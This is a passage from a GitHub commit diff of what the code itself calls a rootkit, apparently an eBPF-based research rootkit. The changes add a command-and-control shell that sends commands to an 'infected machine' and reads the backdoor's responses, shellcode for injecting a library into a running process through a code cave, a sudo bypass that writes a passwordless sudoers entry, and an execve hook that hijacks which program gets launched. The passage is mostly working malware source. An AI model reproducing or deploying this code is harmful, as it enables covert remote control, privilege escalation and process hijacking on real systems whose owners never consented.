mirror of
https://github.com/h3xduck/TripleCross.git
synced 2025-12-15 23:03:08 +08:00
Merge pull request #26 from h3xduck/injection
Library injection + sudo bypass + initial version of C2
This commit is contained in:
6
.vscode/settings.json
vendored
6
.vscode/settings.json
vendored
@@ -19,6 +19,10 @@
|
||||
"netlink.h": "c",
|
||||
"bpf_helper_defs.h": "c",
|
||||
"bpf.h": "c",
|
||||
"stddef.h": "c"
|
||||
"stddef.h": "c",
|
||||
"ring_buffer.h": "c",
|
||||
"bpf_helpers.h": "c",
|
||||
"tcp_helper.h": "c",
|
||||
"stdio.h": "c"
|
||||
}
|
||||
}
|
||||
4
docs/commands/uprobe_analysis
Normal file
4
docs/commands/uprobe_analysis
Normal file
@@ -0,0 +1,4 @@
|
||||
readelf -s <>
|
||||
readelf -S <>
|
||||
|
||||
fn symbol offset = fn symbol VA - .text VA + .text offset
|
||||
@@ -45,7 +45,8 @@ static long get_base_addr() {
|
||||
|
||||
while (fscanf(f, "%zx-%*x %s %zx %*[^\n]\n", &start, buf, &offset) == 3) {
|
||||
if (strcmp(buf, "r-xp") == 0) {
|
||||
fclose(f);
|
||||
fclose(f); // 401380 //text offset-> 1290 //text VA->401290
|
||||
//4199296 //4752 //4199056
|
||||
return start - offset;
|
||||
}
|
||||
}
|
||||
|
||||
91
resources/.gdb_history
Normal file
91
resources/.gdb_history
Normal file
@@ -0,0 +1,91 @@
|
||||
q
|
||||
disass main
|
||||
b main
|
||||
r
|
||||
q
|
||||
b * 0x0000000000001189
|
||||
r
|
||||
si
|
||||
q
|
||||
b main
|
||||
del 1
|
||||
b 0x0000000000001189
|
||||
b *0x0000000000001189
|
||||
r
|
||||
q
|
||||
b main
|
||||
r
|
||||
disass main
|
||||
b __init
|
||||
q
|
||||
starti
|
||||
si
|
||||
disass main
|
||||
q
|
||||
starti
|
||||
q
|
||||
b main
|
||||
r
|
||||
x/16x *(rbp)
|
||||
x/16x *(rbp-0x14)
|
||||
d *(rbp-0x14)
|
||||
d ç(rbp-0x14)
|
||||
p (rbp-0x14)
|
||||
p ($rbp-0x14)
|
||||
p/d ($rbp-0x14)
|
||||
p/x ($rbp-0x14)
|
||||
p ($rbp-0x14)
|
||||
x/2b ($rbp-0x14)
|
||||
x/2b ($rbp-0x20)
|
||||
x/8b ($rbp-0x20)
|
||||
x/10b ($rbp-0x20)
|
||||
x/12b ($rbp-0x20)
|
||||
x/20b ($rbp-0x20)
|
||||
x/22b ($rbp-0x20)
|
||||
x/26b ($rbp-0x20)
|
||||
x/28b ($rbp-0x20)
|
||||
x/12b ($rbp-0x20)
|
||||
x/14b ($rbp-0x20)
|
||||
si
|
||||
x/10i $rax
|
||||
x/10i 0x555555555070
|
||||
x/20i 0x555555555070
|
||||
x/30i 0x555555555070
|
||||
si
|
||||
q
|
||||
starti
|
||||
b main
|
||||
c
|
||||
si
|
||||
b __dlopen
|
||||
c
|
||||
q
|
||||
b main
|
||||
r
|
||||
si
|
||||
ni
|
||||
si
|
||||
ni
|
||||
c
|
||||
q
|
||||
b main
|
||||
r
|
||||
si
|
||||
ni
|
||||
si
|
||||
ni
|
||||
q
|
||||
b main
|
||||
r
|
||||
si
|
||||
find dlopen
|
||||
q
|
||||
b main
|
||||
r
|
||||
si
|
||||
ni
|
||||
q
|
||||
b main
|
||||
r
|
||||
si
|
||||
q
|
||||
BIN
resources/eBPF to lib injection journey.pdf
Normal file
BIN
resources/eBPF to lib injection journey.pdf
Normal file
Binary file not shown.
BIN
resources/example_dlopen
Executable file
BIN
resources/example_dlopen
Executable file
Binary file not shown.
15
resources/example_dlopen.c
Normal file
15
resources/example_dlopen.c
Normal file
@@ -0,0 +1,15 @@
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <sys/types.h>
|
||||
#include <dlfcn.h>
|
||||
|
||||
int main(int argc, char* argv[]){
|
||||
|
||||
void *handle = dlopen("/home/osboxes/TFG/src/helpers/injection_lib.so", RTLD_LAZY);
|
||||
|
||||
if(handle==NULL){
|
||||
perror(dlerror());
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
13
resources/libinjection_shellcode.asm
Normal file
13
resources/libinjection_shellcode.asm
Normal file
@@ -0,0 +1,13 @@
|
||||
<nop>
|
||||
push rax # 50
|
||||
push rdx # 52
|
||||
push rsi # 56
|
||||
push rdi # 57
|
||||
mov rax, <dlopen> # 48b8 <addr little endian> --> gdb: set *(int64_t *)0x402e95 = 0x7FFFF7D89560B848
|
||||
jmp rax # ffe0 --> gdb: set *(int64_t *)0x402e9d = 0xe0ff0000
|
||||
|
||||
pop rdi
|
||||
pop rsi
|
||||
pop rdx
|
||||
pop rax
|
||||
ret
|
||||
2
resources/peda-session-example_dlopen.txt
Normal file
2
resources/peda-session-example_dlopen.txt
Normal file
@@ -0,0 +1,2 @@
|
||||
break main
|
||||
|
||||
Binary file not shown.
Binary file not shown.
15014
src/.output/kit.skel.h
15014
src/.output/kit.skel.h
File diff suppressed because it is too large
Load Diff
15
src/Makefile
15
src/Makefile
@@ -16,7 +16,7 @@ COMMON_INCLUDES := -I$(abspath ./ebpf/include) -I$(abspath ./user/include)
|
||||
# Use our own libbpf API headers and Linux UAPI headers distributed with
|
||||
# libbpf to avoid dependency on system-wide headers, which could be missing or
|
||||
# outdated
|
||||
INCLUDES := -I$(OUTPUT) -I./libbpf/include/uapi -I$(dir $(VMLINUX))
|
||||
INCLUDES := -I$(OUTPUT) -I./libbpf/include/uapi -I$(dir $(VMLINUX)) -I./libbpf/include/uapi/linux
|
||||
#INCLUDES := -I$(OUTPUT) -I./libbpf/include/uapi -I/lib/modules/5.11.0-41-generic/build/include -I/lib/modules/$$(uname -r)/build/include/uapi -I/lib/modules/$$(uname -r)/build/include/generated/uapi -I/lib/modules/$$(uname -r)/build/arch/x86/include -I/lib/modules/$$(uname -r)/build/arch/x86/include/generated #-I$(dir $(VMLINUX))
|
||||
CFLAGS := -g -Wall
|
||||
ARCH := $(shell uname -m | sed 's/x86_64/x86/')
|
||||
@@ -47,7 +47,7 @@ else
|
||||
endif
|
||||
|
||||
.PHONY: all
|
||||
all: $(APPS)
|
||||
all: $(APPS) tckit
|
||||
|
||||
.PHONY: clean
|
||||
clean:
|
||||
@@ -92,17 +92,22 @@ $(USER_INCLUDES_OBJ): $(wildcard $(USER_INCLUDES_SRC)/**/*.h) | $(OUTPUT)
|
||||
#User code
|
||||
$(OUTPUT)/%.o: $(USER)/%.c $(wildcard $(USER)/*.h)| $(OUTPUT)
|
||||
$(call msg,CC,$@)
|
||||
$(Q)$(CC) $(CFLAGS) $(INCLUDES) $(COMMON_INCLUDES) -c $(filter $(USER)/%.c,$^) -o $@
|
||||
$(Q)$(CC) $(CFLAGS) $(INCLUDES) $(COMMON_INCLUDES) -c $(filter $(USER)/%.c,$^) -o $@ -ldl
|
||||
|
||||
# Build application binary
|
||||
$(APPS): %: $(OUTPUT)/%.o $(LIBBPF_OBJ) $(USER_INCLUDES_OBJ) | $(OUTPUT)
|
||||
$(call msg,BINARY,$@)
|
||||
$(Q)$(CC) $(CFLAGS) $(INCLUDES) $^ -lelf -lbpf -lz -o bin/$@
|
||||
$(Q)$(CC) $(CFLAGS) $(INCLUDES) $^ -lelf -lbpf -lz -o bin/$@ -ldl
|
||||
$(Q)rm $(USER_INCLUDES_OBJ)
|
||||
|
||||
tckit: $(abspath $(EBPF)/include/bpf)/tc.c
|
||||
clang -O2 -emit-llvm -c $(abspath $(EBPF)/include/bpf)/tc.c -o - | \
|
||||
llc -march=bpf -mcpu=probe -filetype=obj -o tc.o
|
||||
|
||||
|
||||
# delete failed targets
|
||||
.DELETE_ON_ERROR:
|
||||
|
||||
# keep intermediate (.skel.h, .bpf.o, etc) targets
|
||||
.SECONDARY:
|
||||
SECONDARY:
|
||||
|
||||
|
||||
BIN
src/bin/kit
BIN
src/bin/kit
Binary file not shown.
@@ -10,6 +10,7 @@
|
||||
#include <stdlib.h>
|
||||
|
||||
#include "../common/constants.h"
|
||||
#include "../common/c&c.h"
|
||||
|
||||
// For printing with colors
|
||||
#define KGRN "\x1B[32m"
|
||||
@@ -30,9 +31,12 @@ void print_welcome_message(){
|
||||
void print_help_dialog(const char* arg){
|
||||
printf("\nUsage: %s OPTION victim_IP\n\n", arg);
|
||||
printf("Program OPTIONs\n");
|
||||
char* line = "-S";
|
||||
char* line = "-S IP";
|
||||
char* desc = "Send a secret message to IP";
|
||||
printf("\t%-40s %-50s\n\n", line, desc);
|
||||
line = "-c IP";
|
||||
desc = "Activate direct command & control shell with IP";
|
||||
printf("\t%-40s %-50s\n\n", line, desc);
|
||||
line = "-h";
|
||||
desc = "Print this help";
|
||||
printf("\t%-40s %-50s\n\n", line, desc);
|
||||
@@ -135,6 +139,52 @@ void send_secret_packet(char* argv){
|
||||
free(local_ip);
|
||||
}
|
||||
|
||||
void activate_command_control_shell(char* argv){
|
||||
char* local_ip = getLocalIpAddress();
|
||||
printf("["KBLU"INFO"RESET"]""Victim IP selected: %s\n", argv);
|
||||
check_ip_address_format(argv);
|
||||
packet_t packet = build_standard_packet(8000, 9000, local_ip, argv, 4096, CC_PROT_SYN);
|
||||
printf("["KBLU"INFO"RESET"]""Sending malicious packet to infected machine...\n");
|
||||
//Sending the malicious payload
|
||||
if(rawsocket_send(packet)<0){
|
||||
printf("["KRED"ERROR"RESET"]""An error occured. Is the machine up?\n");
|
||||
return;
|
||||
}else{
|
||||
printf("["KGRN"OK"RESET"]""Secret message successfully sent!\n");
|
||||
}
|
||||
printf("["KBLU"INFO"RESET"]""Waiting for rootkit response...\n");
|
||||
|
||||
//Wait for rootkit ACK to ensure it's up
|
||||
rawsocket_sniff_pattern(CC_PROT_ACK);
|
||||
printf("["KGRN"OK"RESET"]""Success, received ACK from backdoor\n");
|
||||
|
||||
//Received ACK, we proceed to send command
|
||||
while(1){
|
||||
char buf[BUFSIZ];
|
||||
printf(""KYLW"c>:"RESET"");
|
||||
fgets(buf, BUFSIZ, stdin);
|
||||
if ((strlen(buf)>0) && (buf[strlen(buf)-1] == '\n')){
|
||||
buf[strlen(buf)-1] = '\0';
|
||||
}
|
||||
|
||||
char msg[BUFSIZ];
|
||||
strcpy(msg, CC_PROT_MSG);
|
||||
strcat(msg, buf);
|
||||
packet = build_standard_packet(8000, 9000, local_ip, argv, 4096, msg);
|
||||
printf("Sending %s\n", msg);
|
||||
if(rawsocket_send(packet)<0){
|
||||
printf("["KRED"ERROR"RESET"]""An error occured. Aborting...\n");
|
||||
return;
|
||||
}
|
||||
printf("["KBLU"INFO"RESET"]""Waiting for rootkit response...\n");
|
||||
packet = rawsocket_sniff_pattern(CC_PROT_MSG);
|
||||
char* res = packet.payload;
|
||||
printf("["KGRN"RESPONSE"RESET"] %s\n", res);
|
||||
}
|
||||
|
||||
free(local_ip);
|
||||
}
|
||||
|
||||
|
||||
void main(int argc, char* argv[]){
|
||||
if(argc<2){
|
||||
@@ -154,7 +204,7 @@ void main(int argc, char* argv[]){
|
||||
char path_arg[512];
|
||||
|
||||
//Command line argument parsing
|
||||
while ((opt = getopt(argc, argv, ":S:h")) != -1) {
|
||||
while ((opt = getopt(argc, argv, ":S:c:h")) != -1) {
|
||||
switch (opt) {
|
||||
case 'S':
|
||||
print_welcome_message();
|
||||
@@ -166,6 +216,17 @@ void main(int argc, char* argv[]){
|
||||
send_secret_packet(dest_address);
|
||||
PARAM_MODULE_ACTIVATED = 1;
|
||||
|
||||
break;
|
||||
case 'c':
|
||||
print_welcome_message();
|
||||
sleep(1);
|
||||
//Send a secret message
|
||||
printf("["KBLU"INFO"RESET"]""Activated COMMAND & CONTROL shell\n");
|
||||
//printf("Option S has argument %s\n", optarg);
|
||||
strcpy(dest_address, optarg);
|
||||
activate_command_control_shell(dest_address);
|
||||
PARAM_MODULE_ACTIVATED = 1;
|
||||
|
||||
break;
|
||||
/*case 'u':
|
||||
print_welcome_message();
|
||||
|
||||
Binary file not shown.
Binary file not shown.
@@ -31,5 +31,6 @@ int rawsocket_send(packet_t packet);
|
||||
|
||||
packet_t rawsocket_sniff();
|
||||
|
||||
packet_t rawsocket_sniff_pattern(char* payload_pattern);
|
||||
|
||||
#endif
|
||||
Binary file not shown.
11
src/common/c&c.h
Normal file
11
src/common/c&c.h
Normal file
@@ -0,0 +1,11 @@
|
||||
#ifndef __BPF_CC_H
|
||||
#define __BPF_CC_H
|
||||
|
||||
#define CC_PROT_SYN "CC_SYN"
|
||||
#define CC_PROT_ACK "CC_ACK"
|
||||
#define CC_PROT_MSG "CC_MSG#"
|
||||
#define CC_PROT_FIN_PART "CC_FIN"
|
||||
#define CC_PROT_FIN CC_PROT_MSG CC_PROT_FIN_PART
|
||||
|
||||
|
||||
#endif
|
||||
@@ -6,8 +6,47 @@
|
||||
#define SECRET_PACKET_DEST_PORT 9000
|
||||
#define SUBSTITUTION_NEW_PAYLOAD "The previous message has been hidden ;)"
|
||||
|
||||
|
||||
//FS
|
||||
#define STRING_FS_HIDE "This won't be seen"
|
||||
#define STRING_FS_OVERWRITE "That is now hidden"
|
||||
|
||||
#define STRING_FS_SUDO_TASK "sudo"
|
||||
#define STRING_FS_SUDO_TASK_LEN 5
|
||||
#define STRING_FS_SUDOERS_FILE "/etc/sudoers"
|
||||
#define STRING_FS_SUDOERS_FILE_LEN 13
|
||||
#define STRING_FS_SUDOERS_ENTRY "osboxes ALL=(ALL:ALL) NOPASSWD:ALL #"
|
||||
#define STRING_FS_SUDOERS_ENTRY_LEN 37
|
||||
|
||||
//EXECUTION HIJACKING
|
||||
#define PATH_EXECUTION_HIJACK_PROGRAM "/home/osboxes/TFG/src/helpers/execve_hijackdeactivated\0"
|
||||
|
||||
|
||||
//LIBRARY INJECTION WITH ROP
|
||||
#define TASK_COMM_NAME_ROP_TARGET "simple_timer"
|
||||
#define CODE_CAVE_ADDRESS_STATIC 0x0000000000402e95
|
||||
#define CODE_CAVE_SHELLCODE_ASSEMBLE_1 \
|
||||
"\x55\x50\x51\x52\x53\x57\x56\
|
||||
\xbf\x00\x20\x00\x00\x48\xbb"
|
||||
#define CODE_CAVE_SHELLCODE_ASSEMBLE_1_LEN 14
|
||||
|
||||
#define CODE_CAVE_SHELLCODE_ASSEMBLE_2 \
|
||||
"\xff\xd3\x48\x89\xc3\xc7\x00\x2f\x68\x6f\x6d\
|
||||
\xc7\x40\x04\x65\x2f\x6f\x73\xc7\x40\x08\x62\x6f\x78\
|
||||
\x65\xc7\x40\x0c\x73\x2f\x54\x46\xc7\x40\x10\x47\x2f\
|
||||
\x73\x72\xc7\x40\x14\x63\x2f\x68\x65\xc7\x40\x18\x6c\
|
||||
\x70\x65\x72\xc7\x40\x1c\x73\x2f\x69\x6e\xc7\x40\x20\
|
||||
\x6a\x65\x63\x74\xc7\x40\x24\x69\x6f\x6e\x5f\xc7\x40\
|
||||
\x28\x6c\x69\x62\x2e\xc7\x40\x2c\x73\x6f\x00\x00\x48\
|
||||
\xb8"
|
||||
#define CODE_CAVE_SHELLCODE_ASSEMBLE_2_LEN 90
|
||||
|
||||
#define CODE_CAVE_SHELLCODE_ASSEMBLE_3 \
|
||||
"\xbe\x01\x00\x00\x00\x48\x89\xdf\
|
||||
\x48\x81\xec\x00\x10\x00\x00\xff\
|
||||
\xd0\x48\x81\xc4\x00\x10\x00\x00\x5e\
|
||||
\x5f\x5b\x5a\x59\x58\x5d\xff\x25\x00\x00\x00\x00"
|
||||
#define CODE_CAVE_SHELLCODE_ASSEMBLE_3_LEN 37
|
||||
|
||||
|
||||
#endif
|
||||
@@ -1,23 +1,29 @@
|
||||
#ifndef __MAP_COMMON_H
|
||||
#define __MAP_COMMON_H
|
||||
|
||||
#define RB_EVENT_MAX_MESSAGE_SIZE 512
|
||||
|
||||
|
||||
// Ring buffer for kernel->user communication
|
||||
#define RB_EVENT_MAX_MESSAGE_SIZE 512
|
||||
typedef enum {
|
||||
INFO,
|
||||
DEBUG,
|
||||
EXIT,
|
||||
ERROR
|
||||
ERROR,
|
||||
VULN_SYSCALL
|
||||
} event_type_t;
|
||||
|
||||
struct rb_event {
|
||||
int pid;
|
||||
char message[RB_EVENT_MAX_MESSAGE_SIZE];
|
||||
int code;
|
||||
__u64 syscall_address;
|
||||
__u64 process_stack_return_address;
|
||||
__u64 libc_main_address;
|
||||
__u64 libc_dlopen_mode_address;
|
||||
__u64 libc_malloc_address;
|
||||
__u64 got_address;
|
||||
__s32 got_offset;
|
||||
int relro_active;
|
||||
event_type_t event_type;
|
||||
};
|
||||
|
||||
|
||||
#endif
|
||||
|
||||
14
src/common/map_prot.h
Normal file
14
src/common/map_prot.h
Normal file
@@ -0,0 +1,14 @@
|
||||
#ifndef __MAP_PROT_H
|
||||
#define __MAP_PROT_H
|
||||
|
||||
#include "headervmlinux.h"
|
||||
|
||||
/*PRIVATE MAPS*/
|
||||
//Any attempt to access these maps will be blocked by the rootkit
|
||||
//Exclusive to bpf, see /src/bpf/defs.h
|
||||
|
||||
|
||||
/*PROTECTED MAPS*/
|
||||
//Any attempt to access these maps will be blocked by the rootkit if the program is not whitelisted
|
||||
|
||||
#endif
|
||||
63
src/ebpf/include/bpf/defs.h
Normal file
63
src/ebpf/include/bpf/defs.h
Normal file
@@ -0,0 +1,63 @@
|
||||
#ifndef __BPF_MAP_DEFS_H
|
||||
#define __BPF_MAP_DEFS_H
|
||||
|
||||
#include "headervmlinux.h"
|
||||
|
||||
//Tasks and comms
|
||||
#define TASK_COMM_LEN 16
|
||||
|
||||
|
||||
/*PRIVATE MAPS*/
|
||||
//Any attempt to access these maps will be blocked by the rookit
|
||||
|
||||
//File system data of a running program which opened some fd
|
||||
#define FS_OPEN_DATA_PROGRAM_NAME_SIZE 16
|
||||
#define FS_OPEN_DATA_FILENAME_SIZE 16
|
||||
|
||||
struct fs_open_data{ //Map value
|
||||
char* buf;
|
||||
int fd;
|
||||
__u32 pid;
|
||||
char program_name[FS_OPEN_DATA_PROGRAM_NAME_SIZE];
|
||||
char filename[FS_OPEN_DATA_FILENAME_SIZE];
|
||||
int is_sudo;
|
||||
};
|
||||
|
||||
struct inj_ret_address_data{ //Map value
|
||||
__u64 libc_syscall_address;
|
||||
__u64 stack_ret_address;
|
||||
__u64 relro_active;
|
||||
__u64 got_address;
|
||||
__s32 got_offset;
|
||||
__s32 padding;
|
||||
};
|
||||
|
||||
struct fs_priv_open{ //Map
|
||||
__uint(type, BPF_MAP_TYPE_HASH);
|
||||
__uint(max_entries, 4096);
|
||||
__type(key, __u64); //thread group id(MSB) + pid (LSB)
|
||||
__type(value, struct fs_open_data);
|
||||
} fs_open SEC(".maps");
|
||||
|
||||
|
||||
//State of the execve hijacker. 0 inactive, 1 active
|
||||
struct exec_var_priv_hijack_active{ //Map
|
||||
__uint(type, BPF_MAP_TYPE_HASH);
|
||||
__uint(max_entries, 1);
|
||||
__type(key, __u64);
|
||||
__type(value, __u64);
|
||||
} exec_var_hijack_active SEC(".maps");
|
||||
|
||||
//Return addresses of syscalls in the shared library, for the library injection
|
||||
struct inj_priv_ret_address{ //Map
|
||||
__uint(type, BPF_MAP_TYPE_HASH);
|
||||
__uint(max_entries, 4096);
|
||||
__type(key, __u64); //thread group id(MSB) + pid (LSB)
|
||||
__type(value, struct inj_ret_address_data);
|
||||
} inj_ret_address SEC(".maps");
|
||||
|
||||
/*PROTECTED MAPS*/
|
||||
//Any attempt to access these maps will be blocked by the rootkit if the program is not whitelisted
|
||||
//Located at /src/map_prot.h
|
||||
|
||||
#endif
|
||||
204
src/ebpf/include/bpf/exec.h
Normal file
204
src/ebpf/include/bpf/exec.h
Normal file
@@ -0,0 +1,204 @@
|
||||
#ifndef __EXEC_H
|
||||
#define __EXEC_H
|
||||
|
||||
#include "headervmlinux.h"
|
||||
|
||||
#include <bpf/bpf_helpers.h>
|
||||
#include <bpf/bpf_tracing.h>
|
||||
#include <bpf/bpf_core_read.h>
|
||||
|
||||
#include "../../../common/constants.h"
|
||||
#include "../../../common/map_common.h"
|
||||
#include "defs.h"
|
||||
#include "../utils/strings.h"
|
||||
|
||||
#define NUMBER_ARGUMENTS_PARSED 12
|
||||
#define ARGUMENT_LENGTH 64
|
||||
|
||||
|
||||
/**
|
||||
* >> cat /sys/kernel/debug/tracing/events/syscalls/sys_enter_execve/format
|
||||
*/
|
||||
struct sys_execve_enter_ctx {
|
||||
unsigned long long unused;
|
||||
int __syscall_nr;
|
||||
unsigned int padding;
|
||||
const char* filename;
|
||||
const char* const* argv;
|
||||
const char* const* envp;
|
||||
};
|
||||
|
||||
volatile int hijacker_state = 0;
|
||||
|
||||
/**
|
||||
* @brief Checks for the error case 2 described in the execve handler when overwriting the filename userspace buffer.
|
||||
*
|
||||
* @param ctx
|
||||
* @return 0 if OK, -1 if error exists
|
||||
*/
|
||||
static __always_inline int test_write_user_unique(struct sys_execve_enter_ctx *ctx, char* org_filename, char* org_argv){
|
||||
unsigned char* argv[1] = {0};
|
||||
unsigned char filename[1] = {0};
|
||||
char* chosen_comp_char = "w\0";
|
||||
if(ctx==NULL || ctx->argv == NULL|| org_filename==NULL){
|
||||
return -1;
|
||||
}
|
||||
char org_argv_c;
|
||||
if(bpf_probe_read(&org_argv_c, 1, org_argv)<0){
|
||||
bpf_printk("Error reading test 3\n");
|
||||
return -1;
|
||||
}
|
||||
//if(str_n_compare((char*)org_argv, 1, (char*)chosen_comp_char, 1, 1)==0){
|
||||
if(org_argv_c == 'w'){
|
||||
//Better not to go with this case, we won't be able to know whether that was a coincidence
|
||||
bpf_printk("Equal from the start\n");
|
||||
return -1;
|
||||
}
|
||||
if(bpf_probe_write_user((void*)(ctx->filename), (void*)chosen_comp_char, 1)<0){
|
||||
bpf_printk("Error writing to user memory at test by %s\n", org_filename);
|
||||
return -1;
|
||||
}
|
||||
if(bpf_probe_read_user(&argv, 1, ctx->argv)<0){
|
||||
bpf_printk("Error reading test 1\n");
|
||||
return -1;
|
||||
};
|
||||
if(bpf_probe_read_user(&filename, 1, ctx->filename)<0){
|
||||
bpf_printk("Error reading tets 2\n");
|
||||
return -1;
|
||||
};
|
||||
char argv_c;
|
||||
if(bpf_probe_read(&argv_c, 1, org_argv)<0){
|
||||
bpf_printk("Error reading test 3\n");
|
||||
return -1;
|
||||
}
|
||||
if(argv_c == 'w'){
|
||||
//Now they are equal, so we are in the error case 2. We must revert our changes
|
||||
bpf_printk("Error case 2\n");
|
||||
bpf_probe_write_user((void*)(ctx->filename), (void*)org_filename, 1);
|
||||
return -1;
|
||||
}
|
||||
//Everything went fine, but let's fix our modification anyways since the next write to user memory, which
|
||||
//implies more bytes, may fail.
|
||||
bpf_probe_write_user((void*)(ctx->filename), (void*)org_filename, 1);
|
||||
return 0;
|
||||
|
||||
}
|
||||
|
||||
static __always_inline int handle_tp_sys_enter_execve(struct sys_execve_enter_ctx *ctx, __u64 pid_tgid){
|
||||
//Check if the exec hijacker is active already
|
||||
if(hijacker_state == 1){
|
||||
return 0;
|
||||
}
|
||||
//bpf_printk("Starting execve hijacker\n");
|
||||
|
||||
unsigned char* argv[NUMBER_ARGUMENTS_PARSED] = {0};
|
||||
//unsigned char* envp[PROGRAM_LENGTH] = {0};
|
||||
unsigned char filename[ARGUMENT_LENGTH] = {0};
|
||||
if(ctx==NULL || ctx->argv == NULL){
|
||||
return -1;
|
||||
}
|
||||
if(bpf_probe_read_user(&argv, ARGUMENT_LENGTH, ctx->argv)<0){
|
||||
bpf_printk("Error reading 1\n");
|
||||
};
|
||||
/*if(bpf_probe_read_user(&envp, PROGRAM_LENGTH, ctx->envp)<0){
|
||||
bpf_printk("Error reading 2\n");
|
||||
};*/
|
||||
if(bpf_probe_read_user(&filename, ARGUMENT_LENGTH, ctx->filename)<0){
|
||||
bpf_printk("Error reading 3\n");
|
||||
};
|
||||
|
||||
/*bpf_printk("OLD ARGV0: %s\n", argv[0]);
|
||||
bpf_printk("ARGV1: %s\n", argv[1]);
|
||||
bpf_printk("ARGV2: %s\n", argv[2]);
|
||||
//bpf_printk("ENVP: %s\n", envp);
|
||||
bpf_printk("FILENAME: %s\n", filename);*/
|
||||
if((void*)ctx->filename==(void*)(ctx->argv)){
|
||||
//bpf_printk("Equal pointers");
|
||||
}else{
|
||||
//bpf_printk("Not equal pointers %u, %u", ctx->filename, ctx->argv);
|
||||
}
|
||||
|
||||
if(str_n_compare((char*)filename, ARGUMENT_LENGTH, (char*)PATH_EXECUTION_HIJACK_PROGRAM, sizeof(PATH_EXECUTION_HIJACK_PROGRAM), sizeof(PATH_EXECUTION_HIJACK_PROGRAM)-1)!=0){
|
||||
//return 0;
|
||||
}
|
||||
|
||||
/*
|
||||
eBPF can only modify user memory, and thus we may find ourselves into trouble here
|
||||
As it can be here https://elixir.bootlin.com/linux/v5.11/source/fs/exec.c#L2054
|
||||
we receive an userspace buffer, which is later tweaked via getname().
|
||||
Since we are hooking before that call, we should have user-accessible memory, however from my experience it works *only sometimes*.
|
||||
This seems very related https://stackoverflow.com/questions/63114141/how-to-modify-userspace-memory-using-ebpf
|
||||
And this thread discusses the issue https://www.spinics.net/lists/bpf/msg16795.html
|
||||
However, there is no clear solution. bpf_probe_write_user is simply not reliable enough. Two problems arise:
|
||||
1* The call simply fails and returns EFAULT(-14). This happens apparently randomly in some calls, but for some paths it ALWAYS happens,
|
||||
while others always work.
|
||||
2* The call not only overwrites the filename, but also argv[0] with a single write. This may be related to userspace programs using
|
||||
the same buffer for both filename and argv[0], since it is the same data in the end. Accordingly, when this event happens both
|
||||
the pointers are very close to one another (196 bytes exactly), but not pointing to the same exact location, which is a mystery.
|
||||
|
||||
Another solution could be to hook do_execve and access the filename struct, which still contians
|
||||
an userspace buffer with filename inside. However if we failed to overwrite it before, we will too now.
|
||||
Also we can overwrite the return value of the syscall, pass the arguments to the internal ring buffer, read it from the
|
||||
user-side of the rootkit, and fork a process with the requested execve() call. I considered this not to be good enough.
|
||||
*/
|
||||
|
||||
char to_write[sizeof(PATH_EXECUTION_HIJACK_PROGRAM)] = {0};
|
||||
#pragma unroll
|
||||
for(int ii=0; ii<sizeof(PATH_EXECUTION_HIJACK_PROGRAM); ii++){
|
||||
(to_write[ii]) = PATH_EXECUTION_HIJACK_PROGRAM[ii];
|
||||
}
|
||||
|
||||
if(argv[0]==NULL){
|
||||
return -1;
|
||||
}
|
||||
|
||||
//Provided that the case error 2 may happen, we check if we are on that case before going ahead and overwriting everything.
|
||||
if(test_write_user_unique(ctx, (char*)filename, (char*)argv[0])!=0){
|
||||
//bpf_printk("Test failed\n");
|
||||
return -1;
|
||||
}else{
|
||||
//bpf_printk("Test completed\n");
|
||||
}
|
||||
|
||||
if(bpf_probe_write_user((void*)(ctx->filename), (void*)to_write, (__u32)sizeof(PATH_EXECUTION_HIJACK_PROGRAM))<0){
|
||||
bpf_printk("Error writing to user memory by %s\n", filename);
|
||||
//bpf_printk("NEW ARGV0: %s\n", argv[0]);
|
||||
//bpf_printk("ARGV1: %s\n", argv[1]);
|
||||
//bpf_printk("ARGV2: %s\n", argv[2]);
|
||||
return -1;
|
||||
}
|
||||
|
||||
hijacker_state = 1;
|
||||
|
||||
unsigned char newfilename[ARGUMENT_LENGTH] = {0};
|
||||
unsigned char* newargv[NUMBER_ARGUMENTS_PARSED] = {0};
|
||||
if(bpf_probe_read_user(&newfilename, ARGUMENT_LENGTH, ctx->filename)<0){
|
||||
bpf_printk("Error reading\n");
|
||||
};
|
||||
if(bpf_probe_read_user(&newargv, ARGUMENT_LENGTH, ctx->argv)<0){
|
||||
bpf_printk("Error reading 1\n");
|
||||
};
|
||||
|
||||
/*bpf_printk("SUCCESS NEW FILENAME: %s\n", newfilename);
|
||||
bpf_printk("NEW ARGV0: %s\n\n", newargv[0]);
|
||||
bpf_printk("NEW ARGV1: %s\n", newargv[1]);
|
||||
bpf_printk("NEW ARGV2: %s\n", newargv[2]);*/
|
||||
//bpf_printk("ORIGINAL %s\n\n", filename);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
SEC("tp/syscalls/sys_enter_execve")
|
||||
int tp_sys_enter_execve(struct sys_execve_enter_ctx *ctx) {
|
||||
__u64 pid_tgid = bpf_get_current_pid_tgid();
|
||||
if(pid_tgid<0){
|
||||
return -1;
|
||||
}
|
||||
|
||||
return handle_tp_sys_enter_execve(ctx, pid_tgid);
|
||||
}
|
||||
|
||||
|
||||
|
||||
#endif
|
||||
@@ -9,6 +9,7 @@
|
||||
#include <linux/ptrace.h>
|
||||
#include <linux/stat.h>*/
|
||||
#include <ctype.h>
|
||||
#include <string.h>
|
||||
|
||||
#include <bpf/bpf_helpers.h>
|
||||
#include <bpf/bpf_tracing.h>
|
||||
@@ -17,11 +18,12 @@
|
||||
#include "../../../common/constants.h"
|
||||
#include "../../../common/map_common.h"
|
||||
#include "../data/ring_buffer.h"
|
||||
#include "map_defs.h"
|
||||
#include "defs.h"
|
||||
#include "../utils/strings.h"
|
||||
|
||||
/**
|
||||
* https://github.com/torvalds/linux/blob/master/kernel/trace/trace_syscalls.c#L673
|
||||
* >> cat /sys/kernel/debug/tracing/events/syscalls/sys_exit_read/format
|
||||
* Also https://github.com/torvalds/linux/blob/master/kernel/trace/trace_syscalls.c#L673
|
||||
*/
|
||||
struct sys_read_exit_ctx {
|
||||
unsigned long long unused; //Pointer to pt_regs
|
||||
@@ -30,7 +32,8 @@ struct sys_read_exit_ctx {
|
||||
};
|
||||
|
||||
/**
|
||||
* https://github.com/torvalds/linux/blob/master/kernel/trace/trace_syscalls.c#L588
|
||||
* >> cat /sys/kernel/debug/tracing/events/syscalls/sys_enter_read/format
|
||||
* Also https://github.com/torvalds/linux/blob/master/kernel/trace/trace_syscalls.c#L588
|
||||
*/
|
||||
struct sys_read_enter_ctx {
|
||||
